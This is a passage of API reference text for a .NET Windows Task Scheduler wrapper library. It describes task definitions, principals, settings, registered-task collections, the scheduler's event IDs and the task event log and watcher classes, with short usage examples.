version of the library. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + Contains information about the compatibility of the current configuration with a specified version. + + + Gets the compatibility level. + The compatibility level. + + + Gets the property name with the incompatibility. + The property name. + + + Gets the reason for the incompatibility. + The reason. + + + Defines all the components of a task, such as the task settings, triggers, actions, and registration information. + + + Occurs when a property value changes. + + + Gets a collection of actions that are performed by the task. + + + + Gets or sets the data that is associated with the task. This data is ignored by the Task Scheduler service, but is used by + third-parties who wish to extend the task format. + + + For V1 tasks, this library makes special use of the SetWorkItemData and GetWorkItemData methods and does not expose that data + stream directly. Instead, it uses that data stream to hold a dictionary of properties that are not supported under V1, but can + have values under V2. An example of this is the value which is stored in the data stream. + + The library does not provide direct access to the V1 work item data. If using V2 properties with a V1 task, programmatic access + to the task using the native API will retrieve unreadable results from GetWorkItemData and will eliminate those property values + if SetWorkItemData is used. + + + + + Gets the lowest supported version that supports the settings for this . + + + Gets a collection of triggers that are used to start a task. + + + Gets or sets the XML-formatted definition of the task. + + + Gets the principal for the task that provides the security credentials for the task. + + + + Gets a class instance of registration information that is used to describe a task, such as the description of the task, the + author of the task, and the date the task is registered. + + + + Gets the settings that define how the Task Scheduler service performs the task. + + + Gets the XML Schema file for V1 tasks. + The for V1 tasks. + An object containing the XML Schema for V1 tasks. + + + + Determines whether this can use the Unified Scheduling Engine or if it contains unsupported properties. + + + if set to true throws an with details about unsupported properties in the Data + property of the exception. + + + true if this can use the Unified Scheduling Engine; otherwise, false. + + + Releases all resources used by this class. + + + Validates the current . + + if set to true throw a with details about invalid properties. + + true if current is valid; false if not. + + + Implements the operator + for triggers on a definition, effectively adding the trigger to the definition. + The definition to which the trigger is to be added. + The trigger to add. + The definition with the added trigger. + + + Implements the operator + for actions on a definition, effectively adding the action to the definition. + The definition to which the action is to be added. + The action to add. + The definition with the added action. + + + Gets the lowest supported version. + The output list. + + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + + Provides the security credentials for a principal. These security credentials define the security context for the tasks that are + associated with the principal. + + + This class can only be accessed via . It is used to set properties related to the principal + (account) that will run a task. + + TaskDefinition td = TaskService.Instance.NewTask(); + td.Principal.UserId = "SYSTEM"; + td.Principal.LogonType = TaskLogonType.ServiceAccount; + + + + Occurs when a property value changes. + + + + Gets the account associated with this principal. This value is pulled from the TaskDefinition's XMLText property if set. + + The account. + + + Gets or sets the name of the principal that is displayed in the Task Scheduler UI. + Not supported under Task Scheduler 1.0. + + + + Gets or sets the identifier of the user group that is required to run the tasks that are associated with the principal. Setting + this property to something other than a null or empty string, will set the property to NULL and will set + the property to TaskLogonType.Group; + + Not supported under Task Scheduler 1.0. + + + Gets or sets the identifier of the principal. + Not supported under Task Scheduler 1.0. + + + Gets or sets the security logon method that is required to run the tasks that are associated with the principal. + + TaskLogonType values of Group, None, or S4UNot are not supported under Task Scheduler 1.0. + + + + Gets or sets the task process security identifier (SID) type. + One of the enumeration constants. + Setting this value appears to break the Task Scheduler MMC and does not output in XML. Removed to prevent problems. + Not supported under Task Scheduler versions prior to 2.1. + + + + Gets the security credentials for a principal. These security credentials define the security context for the tasks that are + associated with the principal. + + Setting this value appears to break the Task Scheduler MMC and does not output in XML. Removed to prevent problems. + + + + Gets or sets the identifier that is used to specify the privilege level that is required to run the tasks that are associated + with the principal. + + Not supported under Task Scheduler 1.0. + + + + Gets or sets the user identifier that is required to run the tasks that are associated with the principal. Setting this property + to something other than a null or empty string, will set the property to NULL; + + + + Validates the supplied account against the supplied . + The user or group account name. + The SID type for the process. + true if supplied account can be used for the supplied SID type. + + + Releases all resources used by this class. + + + Gets a value indicating whether current Principal settings require a password to be provided. + true if settings requires a password to be provided; otherwise, false. + + + Returns a that represents this instance. + A that represents this instance. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + + List of security credentials for a principal under version 1.3 of the Task Scheduler. These security credentials define the security + context for the tasks that are associated with the principal. + + + + Gets the number of elements contained in the . + The number of elements contained in the . + + + Gets a value indicating whether the is read-only. + true if the is read-only; otherwise, false. + + + Gets or sets the element at the specified index. + The element at the specified index. + is not a valid index in the . + + The property is set and the is read-only. + + + + Adds an item to the . + The object to add to the . + The is read-only. + + + Determines whether the contains a specific value. + The object to locate in the . + + true if is found in the ; otherwise, false. + + + + Copies to. + The array. + Index of the array. + + + Returns an enumerator that iterates through the collection. + A that can be used to iterate through the collection. + + + Determines the index of a specific item in the . + The object to locate in the . + The index of if found in the list; otherwise, -1. + + + Removes all items from the . + The is read-only. + + + Inserts an item to the at the specified index. + The zero-based index at which should be inserted. + The object to insert into the . + is not a valid index in the . + The is read-only. + + + Removes the first occurrence of a specific object from the . + The object to remove from the . + + true if was successfully removed from the ; + otherwise, false. This method also returns false if is not found in the original . + + The is read-only. + + + Removes the item at the specified index. + The zero-based index of the item to remove. + is not a valid index in the . + The is read-only. + + + Enumerates the privileges set for a principal under version 1.3 of the Task Scheduler. + + + Gets the element in the collection at the current position of the enumerator. + The element in the collection at the current position of the enumerator. + + + Performs application-defined tasks associated with freeing, releasing, or resetting unmanaged resources. + + + Advances the enumerator to the next element of the collection. + + true if the enumerator was successfully advanced to the next element; false if the enumerator has passed the end of the collection. + + The collection was modified after the enumerator was created. + + + Sets the enumerator to its initial position, which is before the first element in the collection. + The collection was modified after the enumerator was created. + + + + Provides the administrative information that can be used to describe the task. This information includes details such as a + description of the task, the author of the task, the date the task is registered, and the security descriptor of the task. + + + + Occurs when a property value changes. + + + Gets or sets the author of the task. + + + Gets or sets the date and time when the task is registered. + + + Gets or sets the description of the task. + + + Gets or sets any additional documentation for the task. + + + Gets or sets the security descriptor of the task. + The security descriptor. + + + Gets or sets the security descriptor of the task. + Not supported under Task Scheduler 1.0. + + + + Gets or sets where the task originated from. For example, a task may originate from a component, service, application, or user. + + + + Gets or sets the URI of the task. + + Note: Breaking change in version 2.0. This property was previously of type . It was found that in + Windows 8, many of the native tasks use this property in a string format rather than in a URI format. + + + + Gets or sets the version number of the task. + + + Gets or sets an XML-formatted version of the registration information for the task. + + + Releases all resources used by this class. + + + Returns a that represents this instance. + A that represents this instance. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + Provides the settings that the Task Scheduler service uses to perform the task. + + + Occurs when a property value changes. + + + + Gets or sets a Boolean value that indicates that the task can be started by using either the Run command or the Context menu. + + Not supported under Task Scheduler 1.0. + + + Gets or sets a Boolean value that indicates that the task may be terminated by using TerminateProcess. + Not supported under Task Scheduler 1.0. + + + Gets or sets an integer value that indicates which version of Task Scheduler a task is compatible with. + Not supported under Task Scheduler 1.0. + + + + Gets or sets the amount of time that the Task Scheduler will wait before deleting the task after it expires. If no value is + specified for this property, then the Task Scheduler service will not delete the task. + + + Gets and sets the amount of time that the Task Scheduler will wait before deleting the task after it expires. A TimeSpan value + of 1 second indicates the task is set to delete when done. A value of TimeSpan.Zero indicates that the task should not be deleted. + + + A task expires after the end boundary has been exceeded for all triggers associated with the task. The end boundary for a + trigger is specified by the EndBoundary property of all trigger types. + + + + + Gets or sets a Boolean value that indicates that the task will not be started if the computer is running on battery power. + + + + + Gets or sets a Boolean value that indicates that the task will not be started if the task is triggered to run in a Remote + Applications Integrated Locally (RAIL) session. + + Property set for a task on a Task Scheduler version prior to 2.1. + + + + Gets or sets a Boolean value that indicates that the task is enabled. The task can be performed only when this setting is TRUE. + + + + + Gets or sets the amount of time that is allowed to complete the task. By default, a task will be stopped 72 hours after it + starts to run. + + + The amount of time that is allowed to complete the task. When this parameter is set to , the + execution time limit is infinite. + + + If a task is started on demand, the ExecutionTimeLimit setting is bypassed. Therefore, a task that is started on demand will not + be terminated if it exceeds the ExecutionTimeLimit. + + + + Gets or sets a Boolean value that indicates that the task will not be visible in the UI by default. + + + Gets or sets the information that the Task Scheduler uses during Automatic maintenance. + + + Gets or sets the policy that defines how the Task Scheduler handles multiple instances of the task. + Not supported under Task Scheduler 1.0. + + + Gets or sets the priority level of the task. + The priority. + Value set to AboveNormal or BelowNormal on Task Scheduler 1.0. + + + Gets or sets the number of times that the Task Scheduler will attempt to restart the task. + + The number of times that the Task Scheduler will attempt to restart the task. If this property is set, the property must also be set. + + Not supported under Task Scheduler 1.0. + + + Gets or sets a value that specifies how long the Task Scheduler will attempt to restart the task. + + A value that specifies how long the Task Scheduler will attempt to restart the task. If this property is set, the property must also be set. The maximum time allowed is 31 days, and the minimum time allowed is 1 minute. + + Not supported under Task Scheduler 1.0. + + + + Gets or sets a Boolean value that indicates that the Task Scheduler will run the task only if the computer is in an idle condition. + + + + + Gets or sets a Boolean value that indicates that the Task Scheduler will run the task only if the user is logged on (v1.0 only) + + Property set for a task on a Task Scheduler version other than 1.0. + + + Gets or sets a Boolean value that indicates that the Task Scheduler will run the task only when a network is available. + + + + Gets or sets a Boolean value that indicates that the Task Scheduler can start the task at any time after its scheduled time has passed. + + Not supported under Task Scheduler 1.0. + + + Gets or sets a Boolean value that indicates that the task will be stopped if the computer switches to battery power. + + + Gets or sets a Boolean value that indicates that the Unified Scheduling Engine will be utilized to run this task. + Property set for a task on a Task Scheduler version prior to 2.1. + + + Gets or sets a boolean value that indicates whether the task is automatically disabled every time Windows starts. + Property set for a task on a Task Scheduler version prior to 2.2. + + + + Gets or sets a Boolean value that indicates that the Task Scheduler will wake the computer when it is time to run the task. + + + + Gets or sets an XML-formatted definition of the task settings. + + + + Gets or sets the information that specifies how the Task Scheduler performs tasks when the computer is in an idle state. + + + + + Gets or sets the network settings object that contains a network profile identifier and name. If the RunOnlyIfNetworkAvailable + property of ITaskSettings is true and a network profile is specified in the NetworkSettings property, then the task will run + only if the specified network profile is available. + + + + Releases all resources used by this class. + + + Returns a that represents this instance. + A that represents this instance. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + + Collection of running tasks in a . This class has no public constructor and can only be accessed via the + properties and functions within . + + + + Gets the number of registered tasks in the collection. + + + Gets the specified running task from the collection. + The index of the running task to be retrieved. + A instance. + + + Releases all resources used by this class. + + + Gets an IEnumerator instance for this collection. + An enumerator. + + + Returns a that represents this instance. + A that represents this instance. + + + Releases all resources used by this class. + + + + Contains all the tasks that are registered within a . This class has no public constructor and can only be + accessed via the properties and functions within . + + + Potentially breaking change in 1.6.2 and later where under V1 the list previously included the '.job' extension on the task name. + This has been removed so that it is consistent with V2. + + + public class Program + { + bool RootFolderHasTask(string taskName) + { + if (TaskService.Instance.RootFolder.Tasks.Count > 0) + { + return TaskService.Instance.RootFolder.Tasks.Exists(taskName); + } + return false; + } + + TaskCollection GetRootTasksStartingWith(string value) + { + var pattern = $"^{Regex.Escape(value)}.*$"; + return TaskService.Instance.RootFolder.GetTasks(new Regex(pattern)); + } + + public static void Main() + { + foreach (var task in GetRootTasksStartingWith("MyCo")) + if (RootFolderHasTask(task.Name)) + Console.WriteLine(task.Name); + } + } + + + + Gets the number of registered tasks in the collection. + + + Gets or sets the regular expression filter for task names. + The regular expression filter. + + + Gets the specified registered task from the collection. + The index of the registered task to be retrieved. + A instance that contains the requested context. + + + Gets the named registered task from the collection. + The name of the registered task to be retrieved. + A instance that contains the requested context. + + + Releases all resources used by this class. + + + Determines whether the specified task exists. + The name of the task. + true if task exists; otherwise, false. + + + Gets the collection enumerator for the register task collection. + An for this collection. + + + Returns a that represents this instance. + A that represents this instance. + + + Internal constructor + TaskService instance + The filter. + + + Retrieves the current task. See for more information. + + + Releases all resources used by this class. + + + Moves to the next task. See MoveNext for more information. + true if next task found, false if no more tasks. + + + Reset task enumeration. See Reset for more information. + + + + Changes to tasks and the engine that cause events. + + + + Task Scheduler started an instance of a task for a user. + For detailed information, see the documentation for Event ID 100 on TechNet. + + + Task Scheduler failed to start a task for a user. + For detailed information, see the documentation for Event ID 101 on TechNet. + + + Task Scheduler successfully finished an instance of a task for a user. + For detailed information, see the documentation for Event ID 102 on TechNet. + + + Task Scheduler failed to start an instance of a task for a user. + For detailed information, see the documentation for Event ID 103 on TechNet. + + + Task Scheduler failed to log on the user. + For detailed information, see the documentation for Event ID 104 on TechNet. + + + Task Scheduler failed to impersonate a user. + For detailed information, see the documentation for Event ID 105 on TechNet. + + + The a user registered the Task Scheduler a task. + For detailed information, see the documentation for Event ID 106 on TechNet. + + + Task Scheduler launched an instance of a task due to a time trigger. + For detailed information, see the documentation for Event ID 107 on TechNet. + + + Task Scheduler launched an instance of a task due to an event trigger. + For detailed information, see the documentation for Event ID 108 on TechNet. + + + Task Scheduler launched an instance of a task due to a registration trigger. + For detailed information, see the documentation for Event ID 109 on TechNet. + + + Task Scheduler launched an instance of a task for a user. + For detailed information, see the documentation for Event ID 110 on TechNet. + + + Task Scheduler terminated an instance of a task due to exceeding the time allocated for execution, as configured in the task definition. + For detailed information, see the documentation for Event ID 111 on TechNet. + + + Task Scheduler could not start a task because the network was unavailable. Ensure the computer is connected to the required network as specified in the task. + For detailed information, see the documentation for Event ID 112 on TechNet. + + + The Task Scheduler registered the a task, but not all the specified triggers will start the task. Ensure all the task triggers are valid. + For detailed information, see the documentation for Event ID 113 on TechNet. + + + Task Scheduler could not launch a task as scheduled. Instance is started now as required by the configuration option to start the task when available, if the scheduled time is missed. + For detailed information, see the documentation for Event ID 114 on TechNet. + + + Task Scheduler failed to roll back a transaction when updating or deleting a task. + For detailed information, see the documentation for Event ID 115 on TechNet. + + + Task Scheduler saved the configuration for a task, but the credentials used to run the task could not be stored. + For detailed information, see the documentation for Event ID 116 on TechNet. + + + Task Scheduler launched an instance of a task due to an idle condition. + For detailed information, see the documentation for Event ID 117 on TechNet. + + + Task Scheduler launched an instance of a task due to system startup. + For detailed information, see the documentation for Event ID 118 on TechNet. + + + Task Scheduler launched an instance of a task due to a user logon. + For detailed information, see the documentation for Event ID 119 on TechNet. + + + Task Scheduler launched an instance of a task due to a user connecting to the console. + For detailed information, see the documentation for Event ID 120 on TechNet. + + + Task Scheduler launched an instance of a task due to a user disconnecting from the console. + For detailed information, see the documentation for Event ID 121 on TechNet. + + + Task Scheduler launched an instance of a task due to a user remotely connecting. + For detailed information, see the documentation for Event ID 122 on TechNet. + + + Task Scheduler launched an instance of a task due to a user remotely disconnecting. + For detailed information, see the documentation for Event ID 123 on TechNet. + + + Task Scheduler launched an instance of a task due to a user locking the computer. + For detailed information, see the documentation for Event ID 124 on TechNet. + + + Task Scheduler launched an instance of a task due to a user unlocking the computer. + For detailed information, see the documentation for Event ID 125 on TechNet. + + + Task Scheduler failed to execute a task. Task Scheduler is attempting to restart the task. + For detailed information, see the documentation for Event ID 126 on TechNet. + + + Task Scheduler failed to execute a task due to a shutdown race condition. Task Scheduler is attempting to restart the task. + For detailed information, see the documentation for Event ID 127 on TechNet. + + + Task Scheduler did not launch a task because the current time exceeds the configured task end time. + For detailed information, see the documentation for Event ID 128 on TechNet. + + + Task Scheduler launched an instance of a task in a new process. + For detailed information, see the documentation for Event ID 129 on TechNet. + + + The Task Scheduler service failed to start a task due to the service being busy. + For detailed information, see the documentation for Event ID 130 on TechNet. + + + Task Scheduler failed to start a task because the number of tasks in the task queue exceeds the quota currently configured. + For detailed information, see the documentation for Event ID 131 on TechNet. + + + The Task Scheduler task launching queue quota is approaching its preset limit of tasks currently configured. + For detailed information, see the documentation for Event ID 132 on TechNet. + + + Task Scheduler failed to start a task in the task engine for a user. + For detailed information, see the documentation for Event ID 133 on TechNet. + + + Task Engine for a user is approaching its preset limit of tasks. + For detailed information, see the documentation for Event ID 134 on TechNet. + + + Task Scheduler did not launch a task because launch condition not met, machine not idle. + For detailed information, see the documentation for Event ID 135 on TechNet. + + + A user updated Task Scheduler a task + For detailed information, see the documentation for Event ID 140 on TechNet. + + + A user deleted Task Scheduler a task + For detailed information, see the documentation for Event ID 141 on TechNet. + + + A user disabled Task Scheduler a task + For detailed information, see the documentation for Event ID 142 on TechNet. + + + Task Scheduler woke up the computer to run a task. + For detailed information, see the documentation for Event ID 145 on TechNet. + + + Task Scheduler failed to subscribe the event trigger for a task. + For detailed information, see the documentation for Event ID 150 on TechNet. + + + Task Scheduler launched an action in an instance of a task. + For detailed information, see the documentation for Event ID 200 on TechNet. + + + Task Scheduler successfully completed a task instance and action. + For detailed information, see the documentation for Event ID 201 on TechNet. + + + Task Scheduler failed to complete an instance of a task with an action. + For detailed information, see the documentation for Event ID 202 on TechNet. + + + Task Scheduler failed to launch an action in a task instance. + For detailed information, see the documentation for Event ID 203 on TechNet. + + + Task Scheduler failed to retrieve the event triggering values for a task . The event will be ignored. + For detailed information, see the documentation for Event ID 204 on TechNet. + + + Task Scheduler failed to match the pattern of events for a task. The events will be ignored. + For detailed information, see the documentation for Event ID 205 on TechNet. + + + Task Scheduler is shutting down the a task engine. + For detailed information, see the documentation for Event ID 301 on TechNet. + + + Task Scheduler is shutting down the a task engine due to an error. + For detailed information, see the documentation for Event ID 303 on TechNet. + + + Task Scheduler sent a task to a task engine. + For detailed information, see the documentation for Event ID 304 on TechNet. + + + Task Scheduler did not send a task to a task engine. + For detailed information, see the documentation for Event ID 305 on TechNet. + + + For a Task Scheduler task engine, the thread pool failed to process the message. + For detailed information, see the documentation for Event ID 306 on TechNet. + + + The Task Scheduler service failed to connect to a task engine process. + For detailed information, see the documentation for Event ID 307 on TechNet. + + + Task Scheduler connected to a task engine process. + For detailed information, see the documentation for Event ID 308 on TechNet. + + + There are Task Scheduler tasks orphaned during a task engine shutdown. + For detailed information, see the documentation for Event ID 309 on TechNet. + + + Task Scheduler started a task engine process. + For detailed information, see the documentation for Event ID 310 on TechNet. + + + Task Scheduler failed to start a task engine process due to an error. + For detailed information, see the documentation for Event ID 311 on TechNet. + + + Task Scheduler created the Win32 job object for a task engine. + For detailed information, see the documentation for Event ID 312 on TechNet. + + + The Task Scheduler channel is ready to send and receive messages. + For detailed information, see the documentation for Event ID 313 on TechNet. + + + Task Scheduler has no tasks running for a task engine, and the idle timer has started. + For detailed information, see the documentation for Event ID 314 on TechNet. + + + A task engine process failed to connect to the Task Scheduler service. + For detailed information, see the documentation for Event ID 315 on TechNet. + + + A task engine failed to send a message to the Task Scheduler service. + For detailed information, see the documentation for Event ID 316 on TechNet. + + + Task Scheduler started a task engine process. + For detailed information, see the documentation for Event ID 317 on TechNet. + + + Task Scheduler shut down a task engine process. + For detailed information, see the documentation for Event ID 318 on TechNet. + + + A task engine received a message from the Task Scheduler service requesting to launch a task. + For detailed information, see the documentation for Event ID 319 on TechNet. + + + A task engine received a message from the Task Scheduler service requesting to stop a task instance. + For detailed information, see the documentation for Event ID 320 on TechNet. + + + Task Scheduler did not launch a task because an instance of the same task is already running. + For detailed information, see the documentation for Event ID 322 on TechNet. + + + Task Scheduler stopped an instance of a task in order to launch a new instance. + For detailed information, see the documentation for Event ID 323 on TechNet. + + + Task Scheduler queued an instance of a task and will launch it as soon as another instance completes. + For detailed information, see the documentation for Event ID 324 on TechNet. + + + Task Scheduler queued an instance of a task that will launch immediately. + For detailed information, see the documentation for Event ID 325 on TechNet. + + + Task Scheduler did not launch a task because the computer is running on batteries. If launching the task on batteries is required, change the respective flag in the task configuration. + For detailed information, see the documentation for Event ID 326 on TechNet. + + + Task Scheduler stopped an instance of a task because the computer is switching to battery power. + For detailed information, see the documentation for Event ID 327 on TechNet. + + + Task Scheduler stopped an instance of a task because the computer is no longer idle. + For detailed information, see the documentation for Event ID 328 on TechNet. + + + Task Scheduler stopped an instance of a task because the task timed out. + For detailed information, see the documentation for Event ID 329 on TechNet. + + + Task Scheduler stopped an instance of a task as request by a user . + For detailed information, see the documentation for Event ID 330 on TechNet. + + + Task Scheduler will continue to execute an instance of a task even after the designated timeout, due to a failure to create the timeout mechanism. + For detailed information, see the documentation for Event ID 331 on TechNet. + + + Task Scheduler did not launch a task because a user was not logged on when the launching conditions were met. Ensure the user is logged on or change the task definition to allow the task to launch when the user is logged off. + For detailed information, see the documentation for Event ID 332 on TechNet. + + + The Task Scheduler service has started. + For detailed information, see the documentation for Event ID 400 on TechNet. + + + The Task Scheduler service failed to start due to an error. + For detailed information, see the documentation for Event ID 401 on TechNet. + + + Task Scheduler service is shutting down. + For detailed information, see the documentation for Event ID 402 on TechNet. + + + The Task Scheduler service has encountered an error. + For detailed information, see the documentation for Event ID 403 on TechNet. + + + The Task Scheduler service has encountered an RPC initialization error. + For detailed information, see the documentation for Event ID 404 on TechNet. + + + The Task Scheduler service has failed to initialize COM. + For detailed information, see the documentation for Event ID 405 on TechNet. + + + The Task Scheduler service failed to initialize the credentials store. + For detailed information, see the documentation for Event ID 406 on TechNet. + + + Task Scheduler service failed to initialize LSA. + For detailed information, see the documentation for Event ID 407 on TechNet. + + + Task Scheduler service failed to initialize idle state detection module. Idle tasks may not be started as required. + For detailed information, see the documentation for Event ID 408 on TechNet. + + + The Task Scheduler service failed to initialize a time change notification. System time updates may not be picked by the service and task schedules may not be updated. + For detailed information, see the documentation for Event ID 409 on TechNet. + + + Task Scheduler service received a time system change notification. + For detailed information, see the documentation for Event ID 411 on TechNet. + + + Task Scheduler service failed to launch tasks triggered by computer startup. Restart the Task Scheduler service. + For detailed information, see the documentation for Event ID 412 on TechNet. + + + Task Scheduler service started Task Compatibility module. + For detailed information, see the documentation for Event ID 700 on TechNet. + + + Task Scheduler service failed to start Task Compatibility module. Tasks may not be able to register on previous Window versions. + For detailed information, see the documentation for Event ID 701 on TechNet. + + + Task Scheduler failed to initialize the RPC server for starting the Task Compatibility module. Tasks may not be able to register on previous Window versions. + For detailed information, see the documentation for Event ID 702 on TechNet. + + + Task Scheduler failed to initialize Net Schedule API for starting the Task Compatibility module. Tasks may not be able to register on previous Window versions. + For detailed information, see the documentation for Event ID 703 on TechNet. + + + Task Scheduler failed to initialize LSA for starting the Task Compatibility module. Tasks may not be able to register on previous Window versions. + For detailed information, see the documentation for Event ID 704 on TechNet. + + + Task Scheduler failed to start directory monitoring for the Task Compatibility module. + For detailed information, see the documentation for Event ID 705 on TechNet. + + + Task Compatibility module failed to update a task to the required status. + For detailed information, see the documentation for Event ID 706 on TechNet. + + + Task Compatibility module failed to delete a task. + For detailed information, see the documentation for Event ID 707 on TechNet. + + + Task Compatibility module failed to set a security descriptor for a task. + For detailed information, see the documentation for Event ID 708 on TechNet. + + + Task Compatibility module failed to update a task. + For detailed information, see the documentation for Event ID 709 on TechNet. + + + Task Compatibility module failed to upgrade existing tasks. Upgrade will be attempted again next time 'Task Scheduler' service starts. + For detailed information, see the documentation for Event ID 710 on TechNet. + + + Task Compatibility module failed to upgrade NetSchedule account. + For detailed information, see the documentation for Event ID 711 on TechNet. + + + Task Compatibility module failed to read existing store to upgrade tasks. + For detailed information, see the documentation for Event ID 712 on TechNet. + + + Task Compatibility module failed to load a task for upgrade. + For detailed information, see the documentation for Event ID 713 on TechNet. + + + Task Compatibility module failed to register a task for upgrade. + For detailed information, see the documentation for Event ID 714 on TechNet. + + + Task Compatibility module failed to delete LSA store for upgrade. + For detailed information, see the documentation for Event ID 715 on TechNet. + + + Task Compatibility module failed to upgrade existing scheduled tasks. + For detailed information, see the documentation for Event ID 716 on TechNet. + + + Task Compatibility module failed to determine if upgrade is needed. + For detailed information, see the documentation for Event ID 717 on TechNet. + + + Task scheduler was unable to upgrade the credential store from the Beta 2 version. You may need to re-register any tasks that require passwords. + For detailed information, see the documentation for Event ID 718 on TechNet. + + + A unknown value. + + + + Historical event information for a task. This class wraps and extends the class. + + + For events on systems prior to Windows Vista, this class will only have information for the TaskPath, TimeCreated and EventId properties. + + + + + Gets the activity id. This value is null for V1 events. + + + + + An indexer that gets the value of each of the data item values. This value is null for V1 events. + + + The data values. + + + + + Gets the event id. + + + + + Gets the underlying . This value is null for V1 events. + + + + + Gets the from the . + + + The . If not found, returns . + + + + + Gets the level. This value is null for V1 events. + + + + + Gets the op code. This value is null for V1 events. + + + + + Gets the process id. This value is null for V1 events. + + + + + Gets the record id. This value is null for V1 events. + + + + + Gets the task category. This value is null for V1 events. + + + + + Gets the task path. + + + + + Gets the time created. + + + + + Gets the user id. This value is null for V1 events. + + + + + Gets the version. This value is null for V1 events. + + + + + Gets the data value from the task specific event data item list. + + The name of the data element. + Contents of the requested data element if found. null if no value found. + + + + Returns a that represents this instance. + + + A that represents this instance. + + + + + Compares the current object with another object of the same type. + + An object to compare with this object. + + A 32-bit signed integer that indicates the relative order of the objects being compared. The return value has the following meanings: Value Meaning Less than zero This object is less than the other parameter.Zero This object is equal to other. Greater than zero This object is greater than other. + + + + + Get indexer class for data values. + + + + + Gets the value of the specified property name. + + + The value. + + Name of the property. + Value of the specified property name. null if property does not exist. + + + + An enumerator over a task's history of events. + + + + + Gets the element in the collection at the current position of the enumerator. + + + The element in the collection at the current position of the enumerator. + + + + + Gets the element in the collection at the current position of the enumerator. + + + The element in the collection at the current position of the enumerator. + + + + + Performs application-defined tasks associated with freeing, releasing, or resetting unmanaged resources. + + + + + Advances the enumerator to the next element of the collection. + + + true if the enumerator was successfully advanced to the next element; false if the enumerator has passed the end of the collection. + + + The collection was modified after the enumerator was created. + + + + + Sets the enumerator to its initial position, which is before the first element in the collection. + + + The collection was modified after the enumerator was created. + + + + + Seeks the specified bookmark. + + The bookmark. + The offset. + + + + Seeks the specified origin. + + The origin. + The offset. + + + + Historical event log for a task. Only available for Windows Vista and Windows Server 2008 and later systems. + + Many applications have the need to audit the execution of the tasks they supply. To enable this, the library provides the TaskEventLog class that allows for TaskEvent instances to be enumerated. This can be done for single tasks or the entire system. It can also be filtered by specific events or criticality. + + + + + Initializes a new instance of the class. + + The task path. This can be retrieved using the property. + Thrown when instantiated on an OS prior to Windows Vista. + + + + Initializes a new instance of the class. + + Name of the machine. + The task path. This can be retrieved using the property. + The domain. + The user. + The password. + Thrown when instantiated on an OS prior to Windows Vista. + + + + Initializes a new instance of the class that looks at all task events from a specified time. + + The start time. + Name of the task. + Name of the machine (optional). + The domain. + The user. + The password. + + + + Initializes a new instance of the class. + + Name of the task. + The event ids. + The start time. + Name of the machine (optional). + The domain. + The user. + The password. + + + + Initializes a new instance of the class. + + Name of the task. + The event ids. + The levels. + The start time. + Name of the machine (optional). + The domain. + The user. + The password. + + + + Gets the total number of events for this task. + + + + + Gets or sets a value indicating whether this is enabled. + + + true if enabled; otherwise, false. + + + + + Gets or sets a value indicating whether to enumerate in reverse when calling the default enumerator (typically with foreach statement). + + + true if enumerates in reverse (newest to oldest) by default; otherwise, false to enumerate oldest to newest. + + + + + Returns an enumerator that iterates through the collection. + + + A that can be used to iterate through the collection. + + + + + Returns an enumerator that iterates through the collection. + + if set to true reverse. + + A that can be used to iterate through the collection. + + + + + Returns an enumerator that iterates through a collection. + + + An object that can be used to iterate through the collection. + + + + + Information about the task event. + + + + + If possible, gets the task associated with this event. + + + The task or null if unable to retrieve. + + + + + Gets the . + + + The TaskEvent. + + + + + Gets the task name. + + + The task name. + + + + + Gets the task path. + + + The task path. + + + + + Watches system events related to tasks and issues a event when the filtered conditions are met. + Only available for Task Scheduler 2.0 on Windows Vista or Windows Server 2003 and later. + + Sometimes, a developer will need to know about events as they occur. In this case, they can use the TaskEventWatcher component that enables the developer to watch a task, a folder, or the entire system for filtered events. + + Below is information on how to watch a folder for all task events. For a complete example, look at this sample project: TestTaskWatcher.zip + + + + + Initializes a new instance of the class. If other + properties are not set, this will watch for all events for all tasks on the local machine. + + + + + Initializes a new instance of the class watching only + those events for the task with the provided path on the local machine. + + The full path (folders and name) of the task to watch. + The task service. + $Invalid task name: {taskPath} + + + + Initializes a new instance of the class watching only + those events for the specified task. + + The task to watch. + Occurs if the is null. + + + + Initializes a new instance of the class watching only those events for + the tasks whose name matches the in the specified + and optionally all subfolders. + + The task folder to watch. + The filter for task names using standard file system wildcards. Use "*" to include all tasks. + if set to true include events from tasks subfolders. + Occurs if the is null. + + + + Initializes a new instance of the class. + + The task folder to watch. + The filter for task names using standard file system wildcards. Use "*" to include all tasks. + if set to true include events from tasks subfolders. + The task service. + + + + Initializes a new instance of the class on a remote machine. + + Name of the remote machine. + The task path. + The domain of the user account. + The user name with permissions on the remote machine. + The password for the user. + + + + Initializes a new instance of the class on a remote machine. + + Name of the remote machine. + The task path. + The domain of the user account. + The user name with permissions on the remote machine. + The password for the user as a secure string. + + + + Initializes a new instance of the class on a remote machine. + + Name of the remote machine. + The task folder to watch. + The filter for task names using standard file system wildcards. Use "*" to include all tasks. + if set to true include events from tasks subfolders. + The domain of the user account. + The user name with permissions on the remote machine. + The password for the user. + + + + Occurs when a task or the task engine records an event. + + + + + Gets or sets a value indicating whether the component is enabled. + + + true if enabled; otherwise, false. + + + + + Gets the filter for this . + + + The filter. + + + + + Gets or sets the folder to watch. + + + The folder path to watch. This value should include the leading "\" to indicate the root folder. + + Thrown if the folder specified does not exist or contains invalid characters. + + + + Gets or sets a value indicating whether to include events from subfolders when the + property is set. If the property is set, + this property is ignored. + + true if include events from subfolders; otherwise, false. + + + + Gets or sets the synchronizing object. + + + The synchronizing object. + + + + + Gets or sets the name of the computer that is running the Task Scheduler service that the user is connected to. + + + + + Gets or sets the instance associated with this event watcher. Setting this value + will override any values set for , , + , and and set them to those values in the supplied + instance. + + The TaskService. + + + + Gets or sets the user account domain to be used when connecting to the . + + The user account domain. + + + + Gets or sets the user name to be used when connecting to the . + + The user name. + + + + Gets or sets the user password to be used when connecting to the . + + The user password. + + + + Gets a value indicating if watching is available. + + + + + Signals the object that initialization is starting. + + + + + Signals the object that initialization is complete. + + + + + Releases the unmanaged resources used by the FileSystemWatcher and optionally releases the managed resources. + + true to release both managed and unmanaged resources; false to release only unmanaged resources. + + + + Fires the event. + + The sender. + The instance containing the event data. + + + + Holds filter information for a . + + + + + Gets or sets an optional array of event identifiers to use when filtering those events that will fire a event. + + + The array of event identifier filters. All know task event identifiers are declared in the enumeration. + + + + + Gets or sets an optional array of event levels to use when filtering those events that will fire a event. + + + The array of event levels. While event providers can define custom 